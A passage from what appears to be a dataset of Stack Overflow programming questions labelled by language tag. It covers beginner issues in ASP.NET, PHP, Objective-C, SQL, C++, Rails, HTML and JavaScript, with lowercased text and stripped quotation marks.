btnsendfrndreq_click(object sender  eventargs e) { string fname =     lname =   ; gridviewrow row = grdviewfriendrequest.selectedrow; fname = row.cells[0].text; lname = row.cells[1].text; int32 frmcandiid = (int32)(session[ candiid ]); insertregistation frndrq= new insertregistation(); session[ candid ] =frndrq.frndreqgetcandiid(fname  lname); int32 tocandiid = (int32)(session[ candid ]); frndrq.insertfrndreq(0  frmcandiid  tocandiid  datetime.now);   } </code></pre>   but after i try this i.e   <pre><code>enter code here  protected void grdviewfriendrequest_rowcommand(object sender  gridviewcommandeventargs   e) { if (e.commandname ==  sendfriendreq ) { int index = convert.toint32(e.commandargument); gridviewrow row = grdviewfriendrequest.rows[index]; string fname =     lname =   ;  fname = row.cells[0].text; lname = row.cells[1].text; int32 frmcandiid = (int32)(session[ candiid ]); insertregistation frndrq = new insertregistation(); session[ candid ] = frndrq.frndreqgetcandiid(fname  lname); int32 tocandiid = (int32)(session[ candid ]); frndrq.insertfrndreq(0  frmcandiid  tocandiid  datetime.now); }  } </code></pre>   it gives me error  saying input string not in a correct form.    then i try to give commandargument property but still it gives me value 0;   <pre><code>&lt;asp:templatefield headertext= send friend request &gt; &lt;itemtemplate&gt; &lt;asp:button id= btnsendfrndreq  cssclass= btnimage  text= send friend request    runat= server  commandname= sendfriendreq  commandargument= &lt;%# container.dataitemindex %&gt;    /&gt;&lt;/itemtemplate&gt; &lt;/asp:templatefield&gt; </code></pre>   and also tell me what value should be supply to command argument.    so what i can do now,asp.net
rand() returns same value; in a hidden input  for some reason if i try to assign a value to my input type hidden then i always get the same value (1)  i can assign a value to it with javascript but not php..:   <pre><code>&lt; php  $num = rand(1  4);                       &gt;     &lt; php echo $num;  &gt;&lt; php echo $num;  &gt;&lt; php echo $num;  &gt;  &lt;input type= hidden  value= &lt; php echo $num;  &gt;  name= catch_num1 &gt; </code></pre>   if rand gave 4 this would give 444 but in input type it would always give value= 1       it seems like a bug to me but i m checking all my code in between.,php
objective c tyring to learn the correct way to pass method parameters to an object and get the correct result  i m new to objective c and have been trying to teach myself through books and online tutorials.    i m trying to write a simple class that has one method that puts a name together.  however  when i try to pass values to it  i get a null result.   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface tsmperson : nsobject  @property nsstring *first;  @property nsstring *last;  @property nsstring *middle;  @property nsstring *fullname;   - (nsstring *) sticknamestogether: (nsstring *) first : (nsstring *) middle : (nsstring *) last;   @end </code></pre>   the implementation is:   <pre><code>#import  tsmperson.h   @implementation tsmperson  -(nsstring *)sticknamestogether: (nsstring *)first : (nsstring *) middle : (nsstring *) last {     self.fullname=[self.first stringbyappendingstring:@   ];     self.fullname=[self.fullname stringbyappendingstring:self.middle];     self.fullname=[self.fullname stringbyappendingstring:@   ];     self.fullname=[self.fullname stringbyappendingstring:self.last];     return self.fullname; }  @end </code></pre>   the problem i m having is that when i call this method from another class  i get a null result and i m not sure what i m doing wrong:   <pre><code>#import  tsmviewcontroller.h  #import  tsmperson.h    @interface tsmviewcontroller () @property (weak  nonatomic) iboutlet uilabel *viewtext;  @property (weak  nonatomic) iboutlet uitextfield *first; @property (weak  nonatomic) iboutlet uitextfield *middle; @property (weak  nonatomic) iboutlet uitextfield *last; @property (weak  nonatomic) iboutlet uibutton *printname;  @end  @implementation tsmviewcontroller    - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib. }  - (ibaction)printname:(id)sender {      tsmperson *person = [[tsmperson alloc]init];     person.fullname=[person sticknamestogether:self.first.text :self.middle.text         :self.last.text];     self.viewtext.text=person.fullname;     nslog(@ fullname is %@  person.fullname);  }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  @end </code></pre>   when i use this alternate code  it works:   <pre><code> /*      tsmperson *person = [[tsmperson alloc]init];      person.first=self.first.text;      person.middle=self.middle.text;      person.last=self.last.text;       person.fullname=[person sticknamestogether:person.first :person.middle :person.last];       self.viewtext.text=person.fullname;      */ </code></pre>   but that gives me the extra task of setting the instantiated properties of the person class to the properties in the viewcontroller.  i m not sure why i can t just pass those property values right into my method and get back the values i want.    i realize this there is probably some basic thing i m missing  but i can t figure out what it is.  any help would be appreciated.    thanks,objective-c
difference between sql keywords  i have just started with sql and want to clear the basic keywords of sql. what is the difference between    <ol> <li>  number  and  numeric  &amp;  number &amp; integer   </li> <li> while creating a table  </li> </ol>    <pre><code>create table mytable (     my_id int(6) primary key ... </code></pre>  <blockquote>    above query gives me an error suggesting to put null or not null before  primary key .    </blockquote>   do i always need to put either null or not null for the keyword integer      if i replace int(6) with number(6)  that statement works.,sql
tabbarcontroller - reload secondviewcontroller  i am making a tabbarcontroller application using the template provided by xcode and i need to reload the second view controller everytime it is clicked. how do i do this      thanks,ios
pasted code over to another class and it doesnt work   i have a piece of code    <pre><code>string phonemobilew = null; string phonemobilep = null; string phonemain = null; string phonework = null; string phonehome = null;  if (coredata.listofaddress_0006 != null &amp;&amp; coredata.listofaddress_0006.count() &gt; 0) {     var phoneqry = from list in coredata.listofaddress_0006         .where(a =&gt; a.subtype.id ==  1 )         .orderbydescending(a =&gt; a.startdate)         .take(1)         .where(p =&gt; p.listofphonenumber_0006 != null)         .selectmany(p =&gt; p.listofphonenumber_0006)         select list;      if (phoneqry != null)     {         var phonelist = phoneqry.tolist();         phonemobilew = phonelist             .where(q =&gt; q.numbertype.id ==  mobw )             .select(q =&gt; q.number)             .lastordefault();     } } </code></pre>   the phone numbers are contained inside the address. if the address is not empty get the last phone number. however i have coped and pasted this piece of code over to another class it and it longer works. <a href= https://i.stack.imgur.com/mxrih.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mxrih.png  alt= enter image description here ></a>    so where it works you can see the  var  for phoneqry is interface system.collections.generic.ienumerable    as i said i have copied it over to another class which is a unit testing class. i am trying to populate the phone number.    when i hold the cursor over var  nothing appears to show me what object it is(is this because its in a unittest class )    anyway the error i get is for .where in <code>var phoneqry = from list in coredata.listofaddress_0006.where</code>   <blockquote>    error 4    system.array  does not contain a definition for  where  and no extension method  where  accepting a first argument of type  system.array  could be found (are you missing a using directive or an assembly reference ) d:\martinscode\new folder\trunk\businesslogic\sapeai.unittest\adunittest.cs 166 73  rfs.businesslogic.sapeai.unittest  </blockquote>,c#
open file in module and keep it in memory  i want to implement a python module with one method  which first loads a big file and after that apply the filtering to the parameters  like this:   <pre><code>def filter(word_list):     filtered_words = []     special_words =  [line.strip() for line in open( special_words.txt    r )]     for w in word_list:         if not w in special_words             filtered_words.append(w)     return filtered_words </code></pre>   the problem is  that i want to load this file only once for the hole execution  and not every time i call this method. in java i can just use the static blocks for this purpose  but what options do i have in python,python
missing  android sdk and avd manager  button in window drop-down menu in eclipse ide...any ideas   just got a quick question. i m looking to start developing for android and i ve installed the jdk se 6 software development kit  the eclipse ide  the android sdk  and the adt plugin for eclipse. the only thing is  when it comes to the step where i m supposed to select the specific android platforms that i want to develop for  there is no combined  android sdk and avd manger  button on the  window  drop-down menu  only separate ones for the android sdk and avd  respectively. not sure what i m missing...any ideas  thanks in advance.    see ya on the flipside     desh2350,android
after_create does not create changes in the database  i use a <code>after_create</code> call back to calculate the penalty of a submitted <code>homeworkdocument</code>  based on the deadline of the <code>assignment</code> that <code>homeworkdocument</code> <code>belongs_to</code>.   <pre><code>  class homeworkdocument &lt; activerecord::base    after_create :calculate_penalty   private      def calculate_penalty       time_late = created_at - assignment.deadline       case       when time_late &lt; 0         self.penalty = 0       when time_late &gt; 1.day         self.penalty = 1       end     end </code></pre>   everything works fine in my spec as well as when i create <code>homeworkdocument</code> one at a time in the console. however  when using loop (e.g. to populate sample data)  the call back seems to be bypassed as all of the homework documents have <code>penalty: nil</code>.    the loop is very straightforward:   <pre><code>   student.all.each do |student|       assignment.all.each do |assignment|         student.submitted_homework_documents.create(           assignment_id: assignment.id            created_at: rand(-1.month..1.month).ago)       end    end </code></pre>   is this expected  if so  how do i create my sample data with the <code>after_create</code> call back properly applied,ruby-on-rails
get cursor position in c#  i have an application like this:     <a href= https://i.stack.imgur.com/wzfoj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wzfoj.png  alt= enter image description here ></a>    the yellow form will appear when user click to a button on the main form and i want that yellow form appear at the position where the cursor is pointing to. (in the picture is button number 26). but it just appears somewhere else (just like picture too)    here is my onclick event of button on the main form:   <pre><code>chooseanswer answer = new chooseanswer(); answer.location = new point(cursor.position.x  cursor.position.y); answer.showdialog(); </code></pre>   what s wrong with this     sorry about my english!    <strong>ok the solution is:</strong>   <pre><code>chooseanswer answer = new chooseanswer(); answer.startposition = formstartposition.manual; answer.location = new point(cursor.position.x  cursor.position.y); answer.showdialog(); </code></pre>,c#
how to multiple a float number with an integer variable <pre><code>int dis1  dis2; float sub1  sub2; sub1 = dis1*(float)(5 / 100); sub2 = dis2*(float)(5 / 100); </code></pre>   i got this code here. dis1 and dis2 are assigned int values by a cin command. i don t understand why sub1 and sub2 become 0 after this  and what should i do to produce the result i want,c++
should i leave the root account in the user table of mysql db   if i have ensured that connections to the mysql db are not using the root user account. i have created application specific users with appropriate schema privileges. i am just a little leery that i may be overlooking some system level function that uses the root user.,mysql
c: concatenating __counter__ with a string  i want to stringify the <code>__counter__</code> and print it as a string not an integer  is that possible    <pre><code>printf( %s\n   #__counter__); </code></pre>   i have tried the following but it does not work   <pre><code>hello.c:6:19: error: stray ‘#’ in program printf( %s\n  #__counter__); </code></pre>,c
why div adds 4 pixels on the bottom of a textarea on chrome and safari (but not on firefox)   i try to put a red textarea on the bottom of the page:    <a href= https://jsfiddle.net/akcmd94u/5/  rel= nofollow >https://jsfiddle.net/akcmd94u/5/</a>    html   <pre><code>&lt;div class= footer &gt;   &lt;textarea rows=1&gt;&lt;/textarea&gt; &lt;/div&gt; </code></pre>   css   <pre><code>.footer {     position: absolute;     bottom: 0;     left: 0;     right: 0;     padding: 0;     margin:0; } textarea {     background-color: red;     border: none;     padding: 0;     margin:0;     height: 30px; } </code></pre>   on latest firefox  the textarea is correctly on the bottom.    but on latest chrome and latest safari  there s a gap between the bottom border and the textarea.    how to remove this gap on chrome and safari,css
error when add webservice asp.net  when i run wcf  it throws the below error:   <blockquote>    error: cannot obtain metadata from localhost:3682/service1.svc if this is a windows (r) communication foundation service to which you have access  please check that you have enabled metadata publishing at the specified address. for help enabling metadata publishing  please refer to the msdn documentation at go.microsoft.com/fwlink/ linkid=65455.ws-metadata exchange error uri: localhost:3682/service1.svc metadata contains a reference that cannot be resolved:  localhost:3682/service1.svc . there was no endpoint listening at localhost:3682/service1.svc that could accept the message. this is often caused by an incorrect address or soap action. see innerexception  if present  for more details. unable to connect to the remote server no connection could be made because the target machine actively refused it 127.0.0.1:3682http get error uri: localhost:3682/service1.svc there was an error downloading  localhost:3682/service1.svc . unable to connect to the remote server no connection could be made because the target machine actively refused it 127.0.0.1:3682**  </blockquote>   this is my <strong>web.config</strong>   <pre><code>&lt; xml version= 1.0  &gt; &lt;configuration&gt;     &lt;connectionstrings&gt;         &lt;add name= shop_dtbentities  connectionstring= metadata=res://*/shop_dtb.csdl|res://*/shop_dtb.ssdl|res://*/shop_dtb.msl;provider=system.data.sqlclient;provider connection string=&amp;quot;data source=.;initial catalog=shop_dtb;persist security info=true;user id=sa;password=1234567;multipleactiveresultsets=true;app=entityframework&amp;quot;  providername= system.data.entityclient  /&gt;     &lt;/connectionstrings&gt;      &lt;appsettings&gt;         &lt;add key= aspnet:usetaskfriendlysynchronizationcontext  value= true  /&gt;     &lt;/appsettings&gt;     &lt;system.web&gt;         &lt;compilation debug= true  targetframework= 4.5  /&gt;         &lt;httpruntime targetframework= 4.5  maxrequestlength = 262144  executiontimeout= 103600 /&gt;     &lt;/system.web&gt;      &lt;system.servicemodel&gt;           &lt;services&gt;             &lt;!-- note: the service name must match the configuration name for the service implementation. --&gt;             &lt;service name= wcfservice1.service1  behaviorconfiguration= myservicetypebehaviors  &gt;                 &lt;!-- add the following endpoint.  --&gt;                 &lt;!-- note: your service must have an http base address to add this endpoint. --&gt;                 &lt;endpoint contract= wcfservice1.iservice1  binding= mexhttpbinding  address= mex  /&gt;             &lt;/service&gt;         &lt;/services&gt;          &lt;behaviors&gt;             &lt;servicebehaviors&gt;                 &lt;behavior name= myservicetypebehaviors  &gt;                     &lt;!-- add the following element to your service behavior configuration. --&gt;                     &lt;servicemetadata httpgetenabled= true  /&gt;                 &lt;/behavior&gt;             &lt;/servicebehaviors&gt;         &lt;/behaviors&gt;          &lt;!--&lt;protocolmapping&gt;       &lt;add binding= basichttpsbinding  scheme= https  /&gt;     &lt;/protocolmapping&gt;      &lt;servicehostingenvironment aspnetcompatibilityenabled= true  multiplesitebindingsenabled= true  /&gt;--&gt;     &lt;/system.servicemodel&gt;      &lt;system.webserver&gt;         &lt;modules runallmanagedmodulesforallrequests= true /&gt;         &lt;!--         to browse web app root directory during debugging  set the value below to true.         set to false before deployment to avoid disclosing web app folder information.       --&gt;         &lt;directorybrowse enabled= true /&gt;     &lt;/system.webserver&gt;  &lt;/configuration&gt; </code></pre>   <strong>iservice:</strong>   <pre><code>using system; using system.collections.generic; using system.linq; using system.runtime.serialization; using system.servicemodel; using system.servicemodel.web; using system.text; using entities; namespace wcfservice1 {     // note: you can use the  rename  command on the  refactor  menu to change the interface name  iservice1  in both code and config file together.     [servicecontract]     public interface iservice1     {         [operationcontract]         ienumerable&lt;product_categories&gt; getallcategory();         [operationcontract]         ienumerable&lt;product&gt; getproductbestseller(int idcategory);          [operationcontract]         ienumerable&lt;product&gt; getprobyprotype_id(int idproducttype);          [operationcontract]         ienumerable&lt;product&gt; getprobycate_id(int idcate);          [operationcontract]         ienumerable&lt;product_type&gt; getallproducttype();     } } </code></pre>   <strong>webservice1</strong>   <pre><code>using system; using system.collections.generic; using system.linq; using system.runtime.serialization; using system.servicemodel; using system.servicemodel.web; using system.text; using bal; using entities; namespace wcfservice1 {      public class service1 : iservice1     {         public ienumerable&lt;product_categories&gt; getallcategory()         {             return new categorybal().getallcategorybal();         }          public ienumerable&lt;product&gt; getproductbestseller(int idcategory)         {             return new productbal().getproductbestseller_bal(idcategory);         }          public ienumerable&lt;product&gt; getprobyprotype_id(int idproducttype)         {             return new productbal().getprobyprotype_id_bal(idproducttype);         }          public ienumerable&lt;product&gt; getprobycate_id(int idcate)         {             return new productbal().getprobycate_id_bal(idcate);         }          public ienumerable&lt;product_type&gt; getallproducttype()         {             return new typebal().getallproducttype();         }     } } </code></pre>,asp.net
not able to set  readonly  on text input box  is there any obvious reason why this input box is editable    <pre><code>&lt;input id= username  name= username  class= textfield70pc  readonly= readonly  type= text  value= my username  /&gt; </code></pre>   it seems kind of pointless having to use javascript / jquery to disable this text box.,html
"how to insert bullet points like circle shape in html   this my guess but its not correct what is your wish    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;ul style= list-type:circle &gt;
   &lt;li&gt;regno&lt;/li&gt;
   &lt;li&gt;class&lt;/li&gt;
   &lt;li&gt;subject&lt;/li&gt;
   &lt;/ul&gt;</code></pre>
 </div>
 </div>",html
"accordion: open all tabs  i want to activate all <code>accordion tabs</code> when the page loads.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>    jquery(document).ready(function($) {
         jquery( .accordion ).accordion({heightstyle:  content   collapsible: true  active: 0});
     });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= accordion  id= accordion &gt;          
   &lt;h3&gt;this is title 1&lt;/h3&gt;
   &lt;div&gt;
     &lt;p&gt;this is content 1&lt;/p&gt;
   &lt;/div&gt;    
 
   &lt;h3&gt;his is title 2&lt;/h3&gt;
   &lt;div&gt;
     &lt;p&gt;this is content 2&lt;/p&gt;
   &lt;/div&gt;    
 &lt;/div&gt;</code></pre>
 </div>
 </div>",jquery
"understadning javascript semantic  i am doing the  30 day vanilla js coding challenge  : <a href= https://javascript30.com/  rel= nofollow noreferrer >https://javascript30.com/</a>    there is code line in the first exercise :    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function playsound(e) {
     const audio = document.queryselector(`audio[data-key= ${e.keycode} ]`);
 }</code></pre>
 </div>
 </div>
     1 - why does he uses the  backquote  (`) insted of simple single or double quote  (  or  )      2 - what does the curly brace and dollar sign means here   ${e.keycode}    i do not get this syntax for javascript...     thanks!",javascript
show winning success rate based on wins/loses count  i want to show the winning success rate between wins and loses i had a go with this   <pre><code>$percent = ($row[ wins ] - $row[ loses ] / (($row[ wins ] + $row[ loses ]/2))* 100); </code></pre>   based on <a href= http://www.calculatorsoup.com/calculators/algebra/percentagedifference.php  rel= nofollow >calculatorsoup.com</a> % difference calculator formula    <blockquote>    calculate percentage difference between v1 = 15 and v2 = 6        ( | v1 - v2 | / ((v1 + v2)/2) ) * 100        = ( | 15 - 6 | / ((15 + 6)/2) ) * 100        = ( | 9 | / (21/2) ) * 100        = ( 9 / 10.5 ) * 100        = 0.857143 * 100        = 85.7143% difference  </blockquote>   but i think i m going about it the completely wrong way  my goal is so output would be something like:   <blockquote>    user bob has a success rate of: 17%   </blockquote>,php
invalid class name. class names cannot start with an underscore ios  i am getting this error when i compile successfully and the app launches  1 time out of 3:   <pre><code>2015-03-26 12:39:32.294 cleverly[1689:136981] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  invalid class name. class names cannot start with an underscore.  *** first throw call stack: (     0   corefoundation                      0x0000000109943a75 __exceptionpreprocess + 165     1   libobjc.a.dylib                     0x00000001095dcbb7 objc_exception_throw + 45     2   corefoundation                      0x00000001099439ad +[nsexception raise:format:] + 205     3   cleverly                            0x0000000104f0f50d +[pfobject(private) _assertvalidinstanceclassname:] + 128     4   cleverly                            0x0000000104f0974a -[pfobject(private) initwithclassname:ispointer:] + 74     5   cleverly                            0x0000000104f09b82 +[pfobject(private) objectwithclassname:ispointer:] + 151     6   cleverly                            0x0000000104f17163 +[pfobject objectwithoutdatawithclassname:objectid:] + 158     7   cleverly                            0x0000000104f0facf +[pfobject(private) _objectfromdatafile:error:] + 571     8   cleverly                            0x0000000104f66b34 +[pfuser currentuser] + 581     9   cleverly                            0x0000000104f2e26d -[pfquery _user] + 43     10  cleverly                            0x0000000104f2e83d -[pfquery _findobjectsasync:after:] + 104     11  cleverly                            0x0000000104f30860 -[pfquery findobjectsinbackgroundwithblock:] + 288     12  cleverly                            0x0000000104dc873e -[servermanager uploadordeletemyusermissingsyncfiles] + 318     13  cleverly                            0x0000000104dce7e6 +[servermanager uploadordeletemyusermissingsyncfiles] + 102     14  cleverly                            0x0000000104d8d593 __57-[appdelegate application:didfinishlaunchingwithoptions:]_block_invoke + 35     15  libdispatch.dylib                   0x0000000109e21186 _dispatch_call_block_and_release + 12     16  libdispatch.dylib                   0x0000000109e40614 _dispatch_client_callout + 8     17  libdispatch.dylib                   0x0000000109e2a552 _dispatch_root_queue_drain + 1768     18  libdispatch.dylib                   0x0000000109e2bb17 _dispatch_worker_thread3 + 111     19  libsystem_pthread.dylib             0x000000010a1c5637 _pthread_wqthread + 729     20  libsystem_pthread.dylib             0x000000010a1c340d start_wqthread + 13 ) </code></pre>   i think it has something to do with adding parsesdk with cocoapods. any ideas  would it crash even if it was on the store,ios
a puzzle on objective-c memory management  this is one segment of codes used in one of my project for managing one of my class instance:   <pre><code>@interface c: nsobject {     nsmutablearray *myarr; }  @property (nonatomic retain) nsmutablearray *myarr;  //...  @end  @implementation c  @synthesize myarr;  //...  -(id)init { //...     myarr = [[nsmutablearray alloc] init]; //... }  //version 1 of dealloc method -(void)dealloc { //...         self.myarr = nil; //... }  //version 2 of dealloc method -(void)dealloc { //...     [myarr release]; //... } </code></pre>   here the version 1 dealloc method doesn t work and xcode says something like  exc_bad_access...  and the app crashed. if i modified the dealloc method as version 2  it works.    does anybody have any idea why  thx in advance.,objective-c
ror controllers: create / update methods: @record.save vs @record.errors.any   ok  this might get shot down as more  style preference  than  detail question   but google is failing me.    in my self-taught journey (starting in rails 2)  i learned to do this:   <pre><code>class userscontroller &lt; applicationcontroller   ...   def update     @user = user.find(params[:user_id])     ...     if @user.save       # handle success     else       # handle failure     end   end   ... end </code></pre>   but lately (rails 4/5) i m seeing a pattern of using this:   <pre><code>class userscontroller &lt; applicationcontroller   ...   def update     @user = user.find(params[:user_id])     ...     @user.save     if @user.errors.any        # handle failure     else       # handle success     end   end   ... end </code></pre>   what s the deal  am i missing some sort of improvement    <h1>spotted in the wild:</h1>   (these two are from the same codebase generated at a hackathon where i first noticed the change)   <ol> <li> <a href= https://github.com/chiperific/filterbuildscheduler/blob/f8c940fcb8417f658bc7acb527ec68cc10caf86a/app/controllers/events_controller.rb  rel= nofollow noreferrer >events_controller.rb</a> </li> <li> <a href= https://github.com/chiperific/filterbuildscheduler/blob/f8c940fcb8417f658bc7acb527ec68cc10caf86a/app/controllers/registrations_controller.rb  rel= nofollow noreferrer >registrations_controller.rb</a> </li> </ol>   (and now i m searching through my browser history  i ll post more as i re-find),ruby-on-rails
how to make a maintainable rails application  <ol> <li> should i follow edge rails from the beginning  or just pickup the latest stable release and upgrade as new versions come about  </li> <li> should i give users more freedom on authorization settings  example: fine grained authorization in django s admin interface </li> <li> i think testing is a must  but i have no idea which testing framework to start with  test::unit/minitest/rspec and cucumber  </li> <li> haml or erb  </li> </ol>   p.s. only one developer - me at this time.,ruby-on-rails
how can i pass the value of a hidden text field to another php page   i have a php page with the following:   <pre><code>echo  &lt;form method= post &gt;&lt;input type= hidden  id= memberidd  name= memberidd  value=  . $memberid .  &gt;&lt;/form&gt; ; </code></pre>   now i created another php page and want to grab the value of this hidden field and place it into another variable. how can i do this  i tried using this for my second php page:   <pre><code>$member = $_post[ memberidd ]; </code></pre>   but i just keep getting  undefined  for $member.    thanks,php
compare 256 bit hexadecimal stored in string  i have two hexadecimal number stored in two separate string variables. i must compare this strings so i can find the smallest.    <pre><code>string text =  hello world! ; string temp; string hash; string target;   for(int nonce=0;nonce&lt;1235;nonce++){      temp = text + to_string(nonce);     hash=sha256(temp);     if(...)     return temp; } </code></pre>   in the if-statement i should add something like  if (hash &lt;= target) do this.. . anyone has solution,c++
how do i re-define a constant defined in a rails configuration file   if i define a constant in something like test.rb for a rails environment  how can i redefine that constant for a test  or to phrase it another way  what class would a constant defined in such a way belong to  such that functions like remove_const can be used on it     it seems like it s attached to rails::application  but if i use remove_const on rails::application  i get an error about it being abstract and unable to be instantiated.,ruby-on-rails
adding dictionary(object) to a mutablearray objective c  really new to objective c  i m trying to add these objects to a mutablearray.  my problem is this  when i m adding new books to the array by specifying the name of the book like this:   <pre><code>[self.bookdata addobject:[self newbookwithtitle:@ some book  andauthor:@ some author ]]; </code></pre>   it works.  however  i want to use 2 variables i ve created to get the title and author but i keep getting an error saying that it expects a  :   from the code below (inputtitle and inputauthor are my variables that grab from the textfields   <pre><code>[self.bookdata addobject:[self newbookwithtitle:@ %@   _inputtitle andauthor:@ %@   inputauthor]]; </code></pre>   sorry  i ve looked all over but can t find out whats wrong with my syntax and where to put the : it says it needs. any help would be appreciated.,objective-c
is there a simple way to create a tag pair (<tagname> value</tagname>) in asp.net  is there a built in function (i know i can easily create one) to create simple tags:    maketag( tag   myvalue )  would generate: <code>&lt;tag&gt;myvalue&lt;/tag&gt;</code>    i d rather something simpler than an xml class and all i need is just a tag created like this.    also  any suggestions on a parser for the same,asp.net
javascript hangman game  working on a hangman game using javascript coding  and i ve been running into some trouble. here s what i m trying to do. i ve created two arrays holding the word to solve for and one containing all the letters in the alphabet. now i want when the letters chosen by the user match the letters found in the word  it not only shows up  it checks to see what position the the guessed letter should be in. to do this i m using a double for loop though that could be the wrong way to go about it. any help pointing in the right direction would be awesome!   <pre><code>//javascript document var answer = new array( h    a    n    g    m    a    n ); var letters = new array( a    b     c     d     e     f     g     h    i     j     k     l     m     n     o     p     q     r     s     t     u     v     w     y     x  );   onload = init; function init(){     updatedisplay(); document.getelementbyid( guess_button ).onclick=  function(){     enter();  } } function enter(){     var list1 =   ;     var letter = document.getelementbyid( guess_text ).value     var box = document.getelementsbyclassname( answer_char )     if(letter == answer){     for (var i = 0; i &lt; answer.length; i++) {         for(var j = 0; j &lt; box.length; j++){               if(answer[i] == box[j]) {                       list1+= letter                   }               }             box[j].innerhtml = list1         }    }  }  function updatedisplay(){     var list =    ;   for(var i = 0; i &lt; letters.length; i++){         list += letters[i]     } document.getelementbyid( letter_pool ).innerhtml = list } </code></pre>   <img src= https://i.stack.imgur.com/cjloq.png  alt= image of the hangman screen >,javascript
remove text quotations using sql  i am getting data from odbc connection using sql   the problem i have is that all the text format data still have       is there anything in sql i can add to remove these please. example  john  would like it to be just john,sql
how to set sql field value equal to another value in the same table  i have a table that contains values for different locations where the <code>location id and the item number combination form the primary key</code>.  a lot of the items are the same in both locations when it comes to cost etc.  i am needing to fix one locations information that got changed by a user somehow.  i am looking for advice on how to set the value for <code>location 1 for item 1</code> to be the same as <code>location 2 item 1</code>.  i know how to do this if the value is in a different table  but i am not sure how to accomplish this when the values are in the same table.  any advice will be greatly apprciated,sql
unable to read txt file in c++. i keep getting my inputfile.fail text. could anyone help me into figuring out what to fix   i feel dumb for not figuring it out and i ve been looking around but i cant find a solution. im using an example that was included with this project. i m also pretty new to c++ so please excuse any noobish mistakes i might of made.   <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;fstream&gt; #include &lt;string&gt;  using namespace std;  struct incomeinfo {     string id;     string name;     int hours;     double hrate;     double regpay = 0;     double otpay = 0; };   const int array_size = 25; // array size  incomeinfo income[array_size]; // array variable declaration  void getincome(incomeinfo[]  int&amp;); void compute(incomeinfo *  int); void display(incomeinfo[]  int); void summary(incomeinfo[]  int);  int main() {      incomeinfo income[array_size];     int count = 0;                          //initialize count to 0      getincome(income  count);     compute(income  count);     display(income  count);     summary(income  count);     return 0; }  void getincome(incomeinfo income[]  int &amp;count) {      ifstream inputfile;                 // declare input file variable     string name;     char line[50];                      // variable to read data       // open data file to read data     inputfile.open( payroll.txt );      // test if data file opened incorrectly     if (inputfile.fail())     {         cout &lt;&lt;  \n\n\terror openning file   &lt;&lt;  \n\n\t ;         system( pause );         exit(1);     }      else     {         while (!inputfile.eof())    //check end of file         {             inputfile.getline(line  50     );       // the data are separated by comma              income[count].id = line;             inputfile.getline(line  50     );             income[count].name = line;             inputfile.getline(line  50     );             income[count].hours = atoi(line);       // convert string to integer             inputfile.getline(line  50     );             income[count].hrate = atof(line);           // convert string to float              count++;         }     }     inputfile.close();      return; }   void compute(incomeinfo *ptri  int count) {     for (int i = 0; i&lt;count; i++)          if (ptri-&gt;hours &lt;= 40)         {             ptri-&gt;regpay = ptri-&gt;hours * ptri-&gt;hrate;             ptri++;         }          else if (ptri-&gt;hours &gt; 40)         {             //ptri-&gt;regpay = ptri-&gt;hours * ptri-&gt;hrate;              ptri-&gt;regpay = 40 * ptri-&gt;hrate;             ptri-&gt;otpay = (ptri-&gt;hours - 40) * (ptri-&gt;hrate + (ptri-&gt;hrate* .5));             ptri++;         }     return; }  void display(incomeinfo income[]  int count) {     cout &lt;&lt; fixed &lt;&lt; showpoint &lt;&lt; setprecision(2);     cout &lt;&lt; setw(15) &lt;&lt; left &lt;&lt;  id  &lt;&lt; setw(16) &lt;&lt;  name ;     cout &lt;&lt; left &lt;&lt; setw(8) &lt;&lt;  hours  &lt;&lt; setw(14) &lt;&lt;  hourly rate  &lt;&lt; setw(14) &lt;&lt;  regular pay  &lt;&lt; setw(14) &lt;&lt;  overtime pay  &lt;&lt; endl;       for (int i = 0; i &lt; count; i++)     {         cout &lt;&lt; setw(14) &lt;&lt; left &lt;&lt; income[i].id &lt;&lt; setw(15) &lt;&lt; income[i].name;         cout &lt;&lt; right &lt;&lt; setw(6) &lt;&lt; income[i].hours &lt;&lt; setw(12) &lt;&lt; income[i].hrate;         cout &lt;&lt; setw(14) &lt;&lt; income[i].regpay &lt;&lt; setw(14) &lt;&lt; income[i].otpay &lt;&lt; endl;     }      return; }   void summary(incomeinfo income[]  int count) {      for (int i = 0; i &lt; count; i++)         cout &lt;&lt; endl &lt;&lt; endl &lt;&lt;  total payroll amount for the company =   &lt;&lt; income[i].regpay + income[i].otpay &lt;&lt; endl;      system( pause ); } </code></pre>,c++
html homework that doesnt pass validation on image tag <pre><code>       &lt;div class= logo &gt;            &lt;img src= assets\images\main-logo\logo.jpg  alt= logo &gt;        &lt;/div&gt;     &lt;/a&gt; &lt;/div&gt; </code></pre>   i have validate this code in validate.w3.org ang get error like:   <blockquote>    bad value assets\images\main-logo\logo.jpg for attribute src on   element img: backslash ( \ ) used as path segment delimiter.  from   line 43  column 42; to line 43  column 96  ss= logo >  </blockquote>,html
force a view to redraw  i tried to use setneedsdisplay  but that is very much up to the mercy of the system whether to refresh right the way. currently i remove and add the subview every time  so the latest content is forced to show. the code works  however it lacks gracefulness.   <pre><code>        [myview removefromsuperview];         [myview release];         myview = [[myview alloc] initwithframe:cgrectmake(0.0  my_view_y  320.0  my_view_h)];         [self.view addsubview:myview];         //[self.myview setneedsdisplay];         [self.view bringsubviewtofront: myview]; </code></pre>,objective-c
